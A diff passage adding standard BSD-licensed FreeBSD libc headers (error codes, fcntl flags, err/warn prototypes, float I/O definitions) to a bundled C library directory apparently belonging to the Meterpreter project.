* $FreeBSD: head/include/elf.h 174044 2007-11-28 22:09:12Z jb $
|
||||
*/
|
||||
|
||||
/*
|
||||
* This is a Solaris compatibility header
|
||||
*/
|
||||
|
||||
#ifndef _ELF_H_
|
||||
#define _ELF_H_
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/elf32.h>
|
||||
#include <sys/elf64.h>
|
||||
|
||||
#endif /* !_ELF_H_ */
|
68
c/meterpreter/source/ulibc/err.h
Normal file
68
c/meterpreter/source/ulibc/err.h
Normal file
@ -0,0 +1,68 @@
|
||||
/*-
|
||||
* Copyright (c) 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)err.h 8.1 (Berkeley) 6/2/93
|
||||
* $FreeBSD: head/include/err.h 102227 2002-08-21 16:20:02Z mike $
|
||||
*/
|
||||
|
||||
#ifndef _ERR_H_
|
||||
#define _ERR_H_
|
||||
|
||||
/*
|
||||
* Don't use va_list in the err/warn prototypes. Va_list is typedef'd in two
|
||||
* places (<machine/varargs.h> and <machine/stdarg.h>), so if we include one
|
||||
* of them here we may collide with the utility's includes. It's unreasonable
|
||||
* for utilities to have to include one of them to include err.h, so we get
|
||||
* __va_list from <sys/_types.h> and use it.
|
||||
*/
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
__BEGIN_DECLS
|
||||
void err(int, const char *, ...) __dead2 __printf0like(2, 3);
|
||||
void verr(int, const char *, __va_list) __dead2 __printf0like(2, 0);
|
||||
void errc(int, int, const char *, ...) __dead2 __printf0like(3, 4);
|
||||
void verrc(int, int, const char *, __va_list) __dead2
|
||||
__printf0like(3, 0);
|
||||
void errx(int, const char *, ...) __dead2 __printf0like(2, 3);
|
||||
void verrx(int, const char *, __va_list) __dead2 __printf0like(2, 0);
|
||||
void warn(const char *, ...) __printf0like(1, 2);
|
||||
void vwarn(const char *, __va_list) __printf0like(1, 0);
|
||||
void warnc(int, const char *, ...) __printf0like(2, 3);
|
||||
void vwarnc(int, const char *, __va_list) __printf0like(2, 0);
|
||||
void warnx(const char *, ...) __printflike(1, 2);
|
||||
void vwarnx(const char *, __va_list) __printflike(1, 0);
|
||||
void err_set_file(void *);
|
||||
void err_set_exit(void (*)(int));
|
||||
__END_DECLS
|
||||
|
||||
#endif /* !_ERR_H_ */
|
195
c/meterpreter/source/ulibc/errno.h
Normal file
195
c/meterpreter/source/ulibc/errno.h
Normal file
@ -0,0 +1,195 @@
|
||||
/*-
|
||||
* Copyright (c) 1982, 1986, 1989, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
* (c) UNIX System Laboratories, Inc.
|
||||
* All or some portions of this file are derived from material licensed
|
||||
* to the University of California by American Telephone and Telegraph
|
||||
* Co. or Unix System Laboratories, Inc. and are reproduced herein with
|
||||
* the permission of UNIX System Laboratories, Inc.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)errno.h 8.5 (Berkeley) 1/21/94
|
||||
* $FreeBSD: head/sys/sys/errno.h 144530 2005-04-02 12:33:28Z das $
|
||||
*/
|
||||
|
||||
#ifndef _SYS_ERRNO_H_
|
||||
#define _SYS_ERRNO_H_
|
||||
|
||||
#ifndef _KERNEL
|
||||
#include <sys/cdefs.h>
|
||||
__BEGIN_DECLS
|
||||
int * __error(void);
|
||||
__END_DECLS
|
||||
#ifdef __FreeBSD__
|
||||
#define errno (* __error())
|
||||
#elif defined(__linux__)
|
||||
extern int *__errno_location (void) __attribute__ ((__const__));
|
||||
#define errno (*__errno_location ())
|
||||
#else
|
||||
extern int errno;
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#define EPERM 1 /* Operation not permitted */
|
||||
#define ENOENT 2 /* No such file or directory */
|
||||
#define ESRCH 3 /* No such process */
|
||||
#define EINTR 4 /* Interrupted system call */
|
||||
#define EIO 5 /* Input/output error */
|
||||
#define ENXIO 6 /* Device not configured */
|
||||
#define E2BIG 7 /* Argument list too long */
|
||||
#define ENOEXEC 8 /* Exec format error */
|
||||
#define EBADF 9 /* Bad file descriptor */
|
||||
#define ECHILD 10 /* No child processes */
|
||||
#define EDEADLK 11 /* Resource deadlock avoided */
|
||||
/* 11 was EAGAIN */
|
||||
#define ENOMEM 12 /* Cannot allocate memory */
|
||||
#define EACCES 13 /* Permission denied */
|
||||
#define EFAULT 14 /* Bad address */
|
||||
#ifndef _POSIX_SOURCE
|
||||
#define ENOTBLK 15 /* Block device required */
|
||||
#endif
|
||||
#define EBUSY 16 /* Device busy */
|
||||
#define EEXIST 17 /* File exists */
|
||||
#define EXDEV 18 /* Cross-device link */
|
||||
#define ENODEV 19 /* Operation not supported by device */
|
||||
#define ENOTDIR 20 /* Not a directory */
|
||||
#define EISDIR 21 /* Is a directory */
|
||||
#define EINVAL 22 /* Invalid argument */
|
||||
#define ENFILE 23 /* Too many open files in system */
|
||||
#define EMFILE 24 /* Too many open files */
|
||||
#define ENOTTY 25 /* Inappropriate ioctl for device */
|
||||
#ifndef _POSIX_SOURCE
|
||||
#define ETXTBSY 26 /* Text file busy */
|
||||
#endif
|
||||
#define EFBIG 27 /* File too large */
|
||||
#define ENOSPC 28 /* No space left on device */
|
||||
#define ESPIPE 29 /* Illegal seek */
|
||||
#define EROFS 30 /* Read-only filesystem */
|
||||
#define EMLINK 31 /* Too many links */
|
||||
#define EPIPE 32 /* Broken pipe */
|
||||
|
||||
/* math software */
|
||||
#define EDOM 33 /* Numerical argument out of domain */
|
||||
#define ERANGE 34 /* Result too large */
|
||||
|
||||
/* non-blocking and interrupt i/o */
|
||||
#define EAGAIN 35 /* Resource temporarily unavailable */
|
||||
#ifndef _POSIX_SOURCE
|
||||
#define EWOULDBLOCK EAGAIN /* Operation would block */
|
||||
#define EINPROGRESS 36 /* Operation now in progress */
|
||||
#define EALREADY 37 /* Operation already in progress */
|
||||
|
||||
/* ipc/network software -- argument errors */
|
||||
#define ENOTSOCK 38 /* Socket operation on non-socket */
|
||||
#define EDESTADDRREQ 39 /* Destination address required */
|
||||
#define EMSGSIZE 40 /* Message too long */
|
||||
#define EPROTOTYPE 41 /* Protocol wrong type for socket */
|
||||
#define ENOPROTOOPT 42 /* Protocol not available */
|
||||
#define EPROTONOSUPPORT 43 /* Protocol not supported */
|
||||
#define ESOCKTNOSUPPORT 44 /* Socket type not supported */
|
||||
#define EOPNOTSUPP 45 /* Operation not supported */
|
||||
#define ENOTSUP EOPNOTSUPP /* Operation not supported */
|
||||
#define EPFNOSUPPORT 46 /* Protocol family not supported */
|
||||
#define EAFNOSUPPORT 47 /* Address family not supported by protocol family */
|
||||
#define EADDRINUSE 48 /* Address already in use */
|
||||
#define EADDRNOTAVAIL 49 /* Can't assign requested address */
|
||||
|
||||
/* ipc/network software -- operational errors */
|
||||
#define ENETDOWN 50 /* Network is down */
|
||||
#define ENETUNREACH 51 /* Network is unreachable */
|
||||
#define ENETRESET 52 /* Network dropped connection on reset */
|
||||
#define ECONNABORTED 53 /* Software caused connection abort */
|
||||
#define ECONNRESET 54 /* Connection reset by peer */
|
||||
#define ENOBUFS 55 /* No buffer space available */
|
||||
#define EISCONN 56 /* Socket is already connected */
|
||||
#define ENOTCONN 57 /* Socket is not connected */
|
||||
#define ESHUTDOWN 58 /* Can't send after socket shutdown */
|
||||
#define ETOOMANYREFS 59 /* Too many references: can't splice */
|
||||
#define ETIMEDOUT 60 /* Operation timed out */
|
||||
#define ECONNREFUSED 61 /* Connection refused */
|
||||
|
||||
#define ELOOP 62 /* Too many levels of symbolic links */
|
||||
#endif /* _POSIX_SOURCE */
|
||||
#define ENAMETOOLONG 63 /* File name too long */
|
||||
|
||||
/* should be rearranged */
|
||||
#ifndef _POSIX_SOURCE
|
||||
#define EHOSTDOWN 64 /* Host is down */
|
||||
#define EHOSTUNREACH 65 /* No route to host */
|
||||
#endif /* _POSIX_SOURCE */
|
||||
#define ENOTEMPTY 66 /* Directory not empty */
|
||||
|
||||
/* quotas & mush */
|
||||
#ifndef _POSIX_SOURCE
|
||||
#define EPROCLIM 67 /* Too many processes */
|
||||
#define EUSERS 68 /* Too many users */
|
||||
#define EDQUOT 69 /* Disc quota exceeded */
|
||||
|
||||
/* Network File System */
|
||||
#define ESTALE 70 /* Stale NFS file handle */
|
||||
#define EREMOTE 71 /* Too many levels of remote in path */
|
||||
#define EBADRPC 72 /* RPC struct is bad */
|
||||
#define ERPCMISMATCH 73 /* RPC version wrong */
|
||||
#define EPROGUNAVAIL 74 /* RPC prog. not avail */
|
||||
#define EPROGMISMATCH 75 /* Program version wrong */
|
||||
#define EPROCUNAVAIL 76 /* Bad procedure for program */
|
||||
#endif /* _POSIX_SOURCE */
|
||||
|
||||
#define ENOLCK 77 /* No locks available */
|
||||
#define ENOSYS 78 /* Function not implemented */
|
||||
|
||||
#ifndef _POSIX_SOURCE
|
||||
#define EFTYPE 79 /* Inappropriate file type or format */
|
||||
#define EAUTH 80 /* Authentication error */
|
||||
#define ENEEDAUTH 81 /* Need authenticator */
|
||||
#define EIDRM 82 /* Identifier removed */
|
||||
#define ENOMSG 83 /* No message of desired type */
|
||||
#define EOVERFLOW 84 /* Value too large to be stored in data type */
|
||||
#define ECANCELED 85 /* Operation canceled */
|
||||
#define EILSEQ 86 /* Illegal byte sequence */
|
||||
#define ENOATTR 87 /* Attribute not found */
|
||||
|
||||
#define EDOOFUS 88 /* Programming error */
|
||||
#endif /* _POSIX_SOURCE */
|
||||
|
||||
#define EBADMSG 89 /* Bad message */
|
||||
#define EMULTIHOP 90 /* Multihop attempted */
|
||||
#define ENOLINK 91 /* Link has been severed */
|
||||
#define EPROTO 92 /* Protocol error */
|
||||
|
||||
#ifndef _POSIX_SOURCE
|
||||
#define ELAST 92 /* Must be equal largest errno */
|
||||
#endif /* _POSIX_SOURCE */
|
||||
|
||||
#ifdef _KERNEL
|
||||
/* pseudo-errors returned inside kernel to modify return to process */
|
||||
#define ERESTART (-1) /* restart syscall */
|
||||
#define EJUSTRETURN (-2) /* don't modify regs, just return */
|
||||
#define ENOIOCTL (-3) /* ioctl not handled by this layer */
|
||||
#define EDIRIOCTL (-4) /* do direct ioctl in GEOM */
|
||||
#endif
|
||||
|
||||
#endif
|
291
c/meterpreter/source/ulibc/fcntl.h
Normal file
291
c/meterpreter/source/ulibc/fcntl.h
Normal file
@ -0,0 +1,291 @@
|
||||
/*-
|
||||
* Copyright (c) 1983, 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
* (c) UNIX System Laboratories, Inc.
|
||||
* All or some portions of this file are derived from material licensed
|
||||
* to the University of California by American Telephone and Telegraph
|
||||
* Co. or Unix System Laboratories, Inc. and are reproduced herein with
|
||||
* the permission of UNIX System Laboratories, Inc.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)fcntl.h 8.3 (Berkeley) 1/21/94
|
||||
* $FreeBSD: head/sys/sys/fcntl.h 194618 2009-06-22 10:11:35Z kib $
|
||||
*/
|
||||
|
||||
#ifndef _SYS_FCNTL_H_
|
||||
#define _SYS_FCNTL_H_
|
||||
|
||||
/*
|
||||
* This file includes the definitions for open and fcntl
|
||||
* described by POSIX for <fcntl.h>; it also includes
|
||||
* related kernel definitions.
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
#ifndef _MODE_T_DECLARED
|
||||
typedef __mode_t mode_t;
|
||||
#define _MODE_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _OFF_T_DECLARED
|
||||
typedef __off_t off_t;
|
||||
#define _OFF_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _PID_T_DECLARED
|
||||
typedef __pid_t pid_t;
|
||||
#define _PID_T_DECLARED
|
||||
#endif
|
||||
|
||||
/*
|
||||
* File status flags: these are used by open(2), fcntl(2).
|
||||
* They are also used (indirectly) in the kernel file structure f_flags,
|
||||
* which is a superset of the open/fcntl flags. Open flags and f_flags
|
||||
* are inter-convertible using OFLAGS(fflags) and FFLAGS(oflags).
|
||||
* Open/fcntl flags begin with O_; kernel-internal flags begin with F.
|
||||
*/
|
||||
/* open-only flags */
|
||||
#define O_RDONLY 0x0000 /* open for reading only */
|
||||
#define O_WRONLY 0x0001 /* open for writing only */
|
||||
#define O_RDWR 0x0002 /* open for reading and writing */
|
||||
#define O_ACCMODE 0x0003 /* mask for above modes */
|
||||
|
||||
/*
|
||||
* Kernel encoding of open mode; separate read and write bits that are
|
||||
* independently testable: 1 greater than the above.
|
||||
*
|
||||
* XXX
|
||||
* FREAD and FWRITE are excluded from the #ifdef _KERNEL so that TIOCFLUSH,
|
||||
* which was documented to use FREAD/FWRITE, continues to work.
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
#define FREAD 0x0001
|
||||
#define FWRITE 0x0002
|
||||
#endif
|
||||
#define O_NONBLOCK 0x0004 /* no delay */
|
||||
#define O_APPEND 0x0008 /* set append mode */
|
||||
#if __BSD_VISIBLE
|
||||
#define O_SHLOCK 0x0010 /* open with shared file lock */
|
||||
#define O_EXLOCK 0x0020 /* open with exclusive file lock */
|
||||
#define O_ASYNC 0x0040 /* signal pgrp when data ready */
|
||||
#define O_FSYNC 0x0080 /* synchronous writes */
|
||||
#endif
|
||||
#define O_SYNC 0x0080 /* POSIX synonym for O_FSYNC */
|
||||
#if __BSD_VISIBLE
|
||||
#define O_NOFOLLOW 0x0100 /* don't follow symlinks */
|
||||
#endif
|
||||
#define O_CREAT 0x0200 /* create if nonexistent */
|
||||
#define O_TRUNC 0x0400 /* truncate to zero length */
|
||||
#define O_EXCL 0x0800 /* error if already exists */
|
||||
#ifdef _KERNEL
|
||||
#define FHASLOCK 0x4000 /* descriptor holds advisory lock */
|
||||
#endif
|
||||
|
||||
/* Defined by POSIX 1003.1; BSD default, but must be distinct from O_RDONLY. */
|
||||
#define O_NOCTTY 0x8000 /* don't assign controlling terminal */
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
/* Attempt to bypass buffer cache */
|
||||
#define O_DIRECT 0x00010000
|
||||
#endif
|
||||
|
||||
/* Defined by POSIX Extended API Set Part 2 */
|
||||
#if __BSD_VISIBLE
|
||||
#define O_DIRECTORY 0x00020000 /* Fail if not directory */
|
||||
#define O_EXEC 0x00040000 /* Open for execute only */
|
||||
#endif
|
||||
#ifdef _KERNEL
|
||||
#define FEXEC O_EXEC
|
||||
#endif
|
||||
|
||||
/* Defined by POSIX 1003.1-2008; BSD default, but reserve for future use. */
|
||||
#if __POSIX_VISIBLE >= 200809
|
||||
#define O_TTY_INIT 0x00080000 /* Restore default termios attributes */
|
||||
#endif
|
||||
|
||||
/*
|
||||
* XXX missing O_DSYNC, O_RSYNC.
|
||||
*/
|
||||
|
||||
#ifdef _KERNEL
|
||||
/* convert from open() flags to/from fflags; convert O_RD/WR to FREAD/FWRITE */
|
||||
#define FFLAGS(oflags) ((oflags) + 1)
|
||||
#define OFLAGS(fflags) ((fflags) - 1)
|
||||
|
||||
/* bits to save after open */
|
||||
#define FMASK (FREAD|FWRITE|FAPPEND|FASYNC|FFSYNC|FNONBLOCK|O_DIRECT|FEXEC)
|
||||
/* bits settable by fcntl(F_SETFL, ...) */
|
||||
#define FCNTLFLAGS (FAPPEND|FASYNC|FFSYNC|FNONBLOCK|O_DIRECT)
|
||||
|
||||
#if defined(COMPAT_FREEBSD7) || defined(COMPAT_FREEBSD6) || \
|
||||
defined(COMPAT_FREEBSD5) || defined(COMPAT_FREEBSD4)
|
||||
/*
|
||||
* Set by shm_open(3) in older libc's to get automatic MAP_ASYNC
|
||||
* behavior for POSIX shared memory objects (which are otherwise
|
||||
* implemented as plain files).
|
||||
*/
|
||||
#define FPOSIXSHM O_NOFOLLOW
|
||||
#undef FCNTLFLAGS
|
||||
#define FCNTLFLAGS (FAPPEND|FASYNC|FFSYNC|FNONBLOCK|FPOSIXSHM|O_DIRECT)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/*
|
||||
* The O_* flags used to have only F* names, which were used in the kernel
|
||||
* and by fcntl. We retain the F* names for the kernel f_flag field
|
||||
* and for backward compatibility for fcntl. These flags are deprecated.
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
#define FAPPEND O_APPEND /* kernel/compat */
|
||||
#define FASYNC O_ASYNC /* kernel/compat */
|
||||
#define FFSYNC O_FSYNC /* kernel */
|
||||
#define FNONBLOCK O_NONBLOCK /* kernel */
|
||||
#define FNDELAY O_NONBLOCK /* compat */
|
||||
#define O_NDELAY O_NONBLOCK /* compat */
|
||||
#endif
|
||||
|
||||
/*
|
||||
* We are out of bits in f_flag (which is a short). However,
|
||||
* the flag bits not set in FMASK are only meaningful in the
|
||||
* initial open syscall. Those bits can thus be given a
|
||||
* different meaning for fcntl(2).
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
#endif
|
||||
|
||||
/* Defined by POSIX Extended API Set Part 2 */
|
||||
#if __BSD_VISIBLE
|
||||
/*
|
||||
* Magic value that specify the use of the current working directory
|
||||
* to determine the target of relative file paths in the openat() and
|
||||
* similar syscalls.
|
||||
*/
|
||||
#define AT_FDCWD -100
|
||||
|
||||
/*
|
||||
* Miscellaneous flags for the *at() syscalls.
|
||||
*/
|
||||
#define AT_EACCESS 0x100 /* Check access using effective user and group ID */
|
||||
#define AT_SYMLINK_NOFOLLOW 0x200 /* Do not follow symbolic links */
|
||||
#define AT_SYMLINK_FOLLOW 0x400 /* Follow symbolic link */
|
||||
#define AT_REMOVEDIR 0x800 /* Remove directory instead of file */
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Constants used for fcntl(2)
|
||||
*/
|
||||
|
||||
/* command values */
|
||||
#define F_DUPFD 0 /* duplicate file descriptor */
|
||||
#define F_GETFD 1 /* get file descriptor flags */
|
||||
#define F_SETFD 2 /* set file descriptor flags */
|
||||
#define F_GETFL 3 /* get file status flags */
|
||||
#define F_SETFL 4 /* set file status flags */
|
||||
#if __BSD_VISIBLE || __XSI_VISIBLE || __POSIX_VISIBLE >= 200112
|
||||
#define F_GETOWN 5 /* get SIGIO/SIGURG proc/pgrp */
|
||||
#define F_SETOWN 6 /* set SIGIO/SIGURG proc/pgrp */
|
||||
#endif
|
||||
#define F_OGETLK 7 /* get record locking information */
|
||||
#define F_OSETLK 8 /* set record locking information */
|
||||
#define F_OSETLKW 9 /* F_SETLK; wait if blocked */
|
||||
#define F_DUP2FD 10 /* duplicate file descriptor to arg */
|
||||
#define F_GETLK 11 /* get record locking information */
|
||||
#define F_SETLK 12 /* set record locking information */
|
||||
#define F_SETLKW 13 /* F_SETLK; wait if blocked */
|
||||
#define F_SETLK_REMOTE 14 /* debugging support for remote locks */
|
||||
|
||||
/* file descriptor flags (F_GETFD, F_SETFD) */
|
||||
#define FD_CLOEXEC 1 /* close-on-exec flag */
|
||||
|
||||
/* record locking flags (F_GETLK, F_SETLK, F_SETLKW) */
|
||||
#define F_RDLCK 1 /* shared or read lock */
|
||||
#define F_UNLCK 2 /* unlock */
|
||||
#define F_WRLCK 3 /* exclusive or write lock */
|
||||
#define F_UNLCKSYS 4 /* purge locks for a given system ID */
|
||||
#define F_CANCEL 5 /* cancel an async lock request */
|
||||
#ifdef _KERNEL
|
||||
#define F_WAIT 0x010 /* Wait until lock is granted */
|
||||
#define F_FLOCK 0x020 /* Use flock(2) semantics for lock */
|
||||
#define F_POSIX 0x040 /* Use POSIX semantics for lock */
|
||||
#define F_REMOTE 0x080 /* Lock owner is remote NFS client */
|
||||
#define F_NOINTR 0x100 /* Ignore signals when waiting */
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Advisory file segment locking data type -
|
||||
* information passed to system by user
|
||||
*/
|
||||
struct flock {
|
||||
off_t l_start; /* starting offset */
|
||||
off_t l_len; /* len = 0 means until end of file */
|
||||
pid_t l_pid; /* lock owner */
|
||||
short l_type; /* lock type: read/write, etc. */
|
||||
short l_whence; /* type of l_start */
|
||||
int l_sysid; /* remote system id or zero for local */
|
||||
};
|
||||
|
||||
/*
|
||||
* Old advisory file segment locking data type,
|
||||
* before adding l_sysid.
|
||||
*/
|
||||
struct oflock {
|
||||
off_t l_start; /* starting offset */
|
||||
off_t l_len; /* len = 0 means until end of file */
|
||||
pid_t l_pid; /* lock owner */
|
||||
short l_type; /* lock type: read/write, etc. */
|
||||
short l_whence; /* type of l_start */
|
||||
};
|
||||
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
/* lock operations for flock(2) */
|
||||
#define LOCK_SH 0x01 /* shared file lock */
|
||||
#define LOCK_EX 0x02 /* exclusive file lock */
|
||||
#define LOCK_NB 0x04 /* don't block when locking */
|
||||
#define LOCK_UN 0x08 /* unlock file */
|
||||
#endif
|
||||
|
||||
/*
|
||||
* XXX missing posix_fadvise() and posix_fallocate(), and POSIX_FADV_* macros.
|
||||
*/
|
||||
|
||||
#ifndef _KERNEL
|
||||
__BEGIN_DECLS
|
||||
int open(const char *, int, ...);
|
||||
int creat(const char *, mode_t);
|
||||
int fcntl(int, int, ...);
|
||||
#if __BSD_VISIBLE || __POSIX_VISIBLE >= 200809
|
||||
int openat(int, const char *, int, ...);
|
||||
#endif
|
||||
#if __BSD_VISIBLE
|
||||
int flock(int, int);
|
||||
#endif
|
||||
__END_DECLS
|
||||
#endif
|
||||
|
||||
#endif /* !_SYS_FCNTL_H_ */
|
54
c/meterpreter/source/ulibc/floatio.h
Normal file
54
c/meterpreter/source/ulibc/floatio.h
Normal file
@ -0,0 +1,54 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)floatio.h 8.1 (Berkeley) 6/4/93
|
||||
* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdio/floatio.h 165903 2007-01-09 00:28:16Z imp $
|
||||
*/
|
||||
|
||||
/*
|
||||
* Floating point scanf/printf (input/output) definitions.
|
||||
*/
|
||||
|
||||
/*
|
||||
* MAXEXPDIG is the maximum number of decimal digits needed to store a
|
||||
* floating point exponent in the largest supported format. It should
|
||||
* be ceil(log10(LDBL_MAX_10_EXP)) or, if hexadecimal floating point
|
||||
* conversions are supported, ceil(log10(LDBL_MAX_EXP)). But since it
|
||||
* is presently never greater than 5 in practice, we fudge it.
|
||||
*/
|
||||
#define MAXEXPDIG 6
|
||||
#if LDBL_MAX_EXP > 999999
|
||||
#error "floating point buffers too small"
|
||||
#endif
|
||||
|
||||
char *__hdtoa(double, const char *, int, int *, int *, char **);
|
||||
char *__hldtoa(long double, const char *, int, int *, int *, char **);
|
||||
char *__ldtoa(long double *, int, int, int *, int *, char **);
|
49
c/meterpreter/source/ulibc/fvwrite.h
Normal file
49
c/meterpreter/source/ulibc/fvwrite.h
Normal file
@ -0,0 +1,49 @@
|
||||
/*-
|
||||
